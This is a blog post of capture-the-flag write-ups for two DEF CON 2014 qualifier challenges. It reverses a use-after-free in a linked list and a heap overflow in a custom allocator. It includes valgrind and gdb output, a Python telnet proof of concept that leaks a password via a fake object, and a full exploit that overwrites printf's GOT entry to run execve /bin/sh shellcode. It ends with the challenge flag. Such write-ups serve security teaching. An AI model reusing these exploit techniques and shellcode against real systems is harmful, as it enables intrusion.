Tuesday, May 20, 2014

Defcon Quals 2014 - Gynophage - shitsco - [Use-After-Free Vulnerability]

This one again is 32 bit ELF protected with NX and Canary. The binary implements some operations as below:
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
Type ? followed by a command for more detailed information
Out of this, set and show commands where interesting. This is implemented using a doubly linked list. We re-wrote the routine at 0x08048EF0 which implements the data structure, to find the vulnerability.

The operations done on the linked list is below:
[*] Elements can be added
[*] Elements can be updated
[*] Elements can be removed

Structure declaration:
struct node
    char *name;
    char *valu;
    struct node *next;
    struct node *prev;

struct node init; // first node is allocated in bss

struct node *iter = &init;
Now, below is the code to handle these procedures:
/* First Variable */

if (var_valu != NULL && iter->name == NULL)
    iter->name = strdup(var_name);
    iter->valu = strdup(var_valu);
    return;     // iter->next is not cleared/patched during reallocation of head/next leading to use-after-free

/* iter->next->prev is not set to iter on reallocation */

/* Add Variable - Always added to end of list */

if (iter->name != NULL && iter->next == NULL)
    iter->next = (struct node *)calloc(1,16);
    iter->next->prev = iter;
    iter->next->name = strdup(var_name);
    iter->next->valu = strdup(var_valu); // iter->next->next not set to NULL, with calloc this is not an issue 

/* Delete Variable */

if (var_valu == NULL)
    if (iter->prev == NULL && iter->next != NULL)  // first node
        iter->next->prev = NULL;
    else if (iter->next != NULL && iter->prev != NULL) // intermediate node
        iter->prev->next = iter->next;
        iter->next->prev = iter->prev; 
    else if (iter->prev != NULL && iter->next == NULL) // last node
        iter->prev->next = NULL;

    free(iter->valu);     // Only node
    iter->name = NULL;  
    iter->valu = NULL;     // iter->next is not set to NULL during delete

    if (iter != init)

/* Update variable */
if (var_valu != NULL)
    iter->valu = strdup(var_valu);
Some observations are:
[*] When a value is added, the key value is checked by traversing the linked list nodes one by one. This starts with head in bss
[*] When head->key is NULL, its always allocated
[*] When key and value are set and key is already present is linked list, then update operation is performed
[*] When key is set and value is not set and key is already present is linked list, delete operation is done.

The vulnerability:
[*] Head node in bss does not clear/update its next pointer when its reallocated
[*] When head is reallocated the previous node pointer of next node is not re-linked

This results in next pointer of head element pointing to stray memory, resulting is use-after-free.
Allocate 3 objects:       NULL<- A <->  B  <-> C -> NULL

Delete A:                 NULL<-(A) ->  B  <-> C -> NULL
B's prev pointer is set to NULL, A's next pointer is stray

Allocate A:               NULL<- A  ->  B  <-> C -> NULL
B's prev pointer is not set to point to A

Delete B:                 NULL<- A  -> (B)  -> C -> NULL
since B's prev pointer is NULL, C's prev reference is set to NULL, thinking its the first element. A's next pointer is not cleared and free(B) is called leaving stray pointers in the linked list.
[root@renorobert Defcon2014]# valgrind --leak-check=full --show-reachable=yes ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

For a command list, enter ?
$ set A BBBB
$ set B CCCC
$ set C DDDD
$ set A
$ set A EEEE
$ set B
$ show
==20202== Invalid read of size 4
==20202==    at 0x8048E98: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov  eax, [ebx]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call dword ptr [ebp+10h]
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call Cmd_Parse
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c388 is 0 bytes inside a block of size 16 free'd         
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call SetValue : Free'd during SetValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202== Invalid read of size 4
==20202==    at 0x8048EBD: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov edx, [ebx+4]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c390 is 8 bytes inside a block of size 16 free'd      
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
We could see that values are read from free'd heap due to stray pointers.
Now to exploit this issue, we need to reallocate user controlled data right in the place of Object B. The size of node is 16 bytes. The binary allocates string in heap using strdup() call. strdup() calls malloc internally as malloc(strlen(char *string) + 1). So by supplying 16 byte data, we could reallocate the freed object with 'set' command.

Below is the trigger to do so:
[root@renorobert Defcon2014]# cat trigger | ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

Core was generated by `./shitsco_c8b1aa31679e945ee64bde1bdb19d035'.
Program terminated with signal 11, Segmentation fault.
#0  0x001c5c91 in vfprintf () from /lib/libc.so.6
gdb-peda$ info registers 
eax            0x0 0x0
ecx            0xffffffff 0xffffffff
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffed0bdc 0xffed0bdc
ebp            0xffed1168 0xffed1168
esi            0x30b4e0 0x30b4e0
edi            0x43434343 0x43434343
eip            0x1c5c91 0x1c5c91 
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/i $eip
=> 0x1c5c91 : repnz scas al,BYTE PTR es:[edi]
We could see that the free'd 2nd object is occupied by string CCCCCCCCCCCCCCCC and head object's next pointer points to this memory.
Now to get flag using this vulnerability, the adminbit at 0x0804C3C0 could be set and 'flag' command can be used to read flag. The use-after-free can be used to perform arbitrary write using the doubly-linked list delete operation.
  iter->prev->next = iter->next;
  iter->next->prev = iter->prev; 
Fake Object should be like:
[Heap address of key][Heap address of value][User controlled address/Valid writable address][address of adminBit-8]
With 'set "key"' as command, delete operation can be triggered so that iter->prev->next will set the adminBit. Then 'flag' can be used to read the flag. It was too late before we could trigger some info leak, to setup valid key:value address for free() call. Task went unsolved!

What we could have done is set 0x804C3A0 as key:value pair for the reallocated object. 0x804C3A0 stores the password read from '/home/shitsco/password' and 'show' command would have printed this info.

Below is the POC to read password using UAF:
#!/usr/bin/env python

import struct
import telnetlib
import time

host = 'shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me'
port = 31337
host = ''

con = telnetlib.Telnet(host, port)
t = con.read_until('$ ')
print t

fake_obj  = struct.pack("<I", 0x08049B08)  # set
fake_obj += struct.pack("<I", 0x0804C3A0)  # password
fake_obj += struct.pack("<I", 0x0804C2C4)  # valid Ptr to fake struct to prevent crash
fake_obj += struct.pack("<I", 0x0804C3C4)

con.write('set AAAAAAAAAAAAAAA0\n')
con.write('set AAAAAAAAAAAAAAA1\n')
con.write('set AAAAAAAAAAAAAAA4\n')
con.write('set BBBBBBBBBBBBBBBB ' + fake_obj + '\n')

con.write('show set\n')
t = con.read_very_eager()
print t

Defcon Quals 2014 - Baby's First - Heap - [Team SegFault]

The 32-bit ELF allocates heap using sbrk() and then calls mprotect() to make is executable. One object of size 260 bytes can be overflowed.
[root@renorobert Defcon2014]# python -c 'print "A"*3000' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...

Exit function pointer is at 804C8AC address.
[ALLOC][loc=907F4F0][size=1 121]
Write to object [size=260]:
Copied 3001 bytes.
Segmentation fault (core dumped)
gdb-peda$ x/i $eip
=> 0x80493ca <free+229>: mov    eax,DWORD PTR [eax]
gdb-peda$ info registers 
eax            0x4a495594 0x4a495594
ecx            0x907f004 0x907f004
edx            0x41414140 0x41414140
ebx            0x30aff4 0x30aff4
esp            0xffd9b690 0xffd9b690
ebp            0xffd9b6c8 0xffd9b6c8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493ca 0x80493ca <free+229>
eflags         0x10202 [ IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/x $ebp-0x20
0xffd9b6a8: 0x09081454
gdb-peda$ p/x 0x4a495594-0x09081454
$1 = 0x41414140

gdb-peda$ x/x 0x09081454
0x9081454: 0x41414140
0x09081454 points to object [ALLOC][loc=9081058][size=755].
gdb-peda$ x/4x 0x9081350-4
0x908134c: 0x00000108 0x41414141 0x41414141 0x41414141
At obj-4 resides the metadata, which is size of object. The metadata of adjacent object is overflowed, and free(0x9081350) uses this metadata. Below is the disassembly that can lead to write anything anywhere primitive using the overflowed data.
.text:080493BF    mov     eax, [ebp+var_20] ; address of next allocated object
.text:080493C2    mov     eax, [eax]  ; addr pointed by EAX(size) is overwritten due to overflow in 260 bytes object
.text:080493C4    and     eax, 0FFFFFFFEh
.text:080493C7    add     eax, [ebp+var_20] ; address of next allocated object + size
.text:080493CA    mov     eax, [eax]        ; crash here  -> Out of bound read
.text:080493CC    and     eax, 1
.text:080493CF    test    eax, eax
.text:080493D1    jnz     short loc_8049402 ; skip this jump
.text:080493D3    mov     eax, [ebp+var_20] 
.text:080493D6    mov     eax, [eax]  
.text:080493D8    and     eax, 0FFFFFFFEh
.text:080493DB    add     [ebp+size], eax  
.text:080493DE    mov     eax, [ebp+var_20]
.text:080493E1    mov     eax, [eax+8]  ; next_obj+8
.text:080493E4    mov     [ebp+header], eax
.text:080493E7    mov     eax, [ebp+var_20]
.text:080493EA    mov     eax, [eax+4]  ; next_obj+4
.text:080493ED    mov     [ebp+header2], eax
.text:080493F0    mov     eax, [ebp+header2]
.text:080493F3    mov     edx, [ebp+header]
.text:080493F6    mov     [eax+8], edx     ; arbitrary write here
.text:080493F9    mov     eax, [ebp+header]
.text:080493FC    mov     edx, [ebp+header2]
.text:080493FF    mov     [eax+4], edx     ; another write
[root@renorobert Defcon2014]# python -c 'import struct;print "A"*260 + struct.pack("<I", 0x1) + "BBBBCCCC"' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
gdb-peda$ x/10i $eip
=> 0x80493f6 <free+273>: mov    DWORD PTR [eax+0x8],edx
   0x80493f9 <free+276>: mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc <free+279>: mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff <free+282>: mov    DWORD PTR [eax+0x4],edx
   0x8049402 <free+285>: mov    eax,DWORD PTR [ebp-0xc]
   0x8049405 <free+288>: mov    eax,DWORD PTR [eax]
   0x8049407 <free+290>: and    eax,0x1
   0x804940a <free+293>: mov    edx,eax
   0x804940c <free+295>: or     edx,DWORD PTR [ebp-0x10]
   0x804940f <free+298>: mov    eax,DWORD PTR [ebp-0xc]
gdb-peda$ info registers 
eax            0x42424242 0x42424242
ecx            0x8689004 0x8689004
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffde0cc0 0xffde0cc0
ebp            0xffde0cf8 0xffde0cf8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493f6 0x80493f6 <free+273>
eflags         0x10206 [ PF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
[*] At 0x80493f6, [header+8] is overwritten with user supplied value of header2
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header

Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed

Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
import re

host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me'
host = ''
port = 4088
con = telnetlib.Telnet(host, port)

# http://shell-storm.org/shellcode/files/shellcode-752.php
nop = "\x90" * 30
shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 

gotprintf = 0x0804c004

t = con.read_until('Write to object [size=260]:')
print t

addr_objc = re.search("\[ALLOC\]\[loc=([a-fA-F\d]{7})\]\[size=260\]",t)
addr_objc = int(addr_objc.groups()[0],16)

payload  = "\x90\x90\xeb\x1c" # jmp patch 
payload += shellcode +  "A"* (260 - len(payload) - len(shellcode))
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", gotprintf - 8)
payload += struct.pack("<I", addr_objc)
con.write(payload + "\n")
Flag for the challenge is Good job on that doubly linked list. Why don't you try something harder!!OMG!!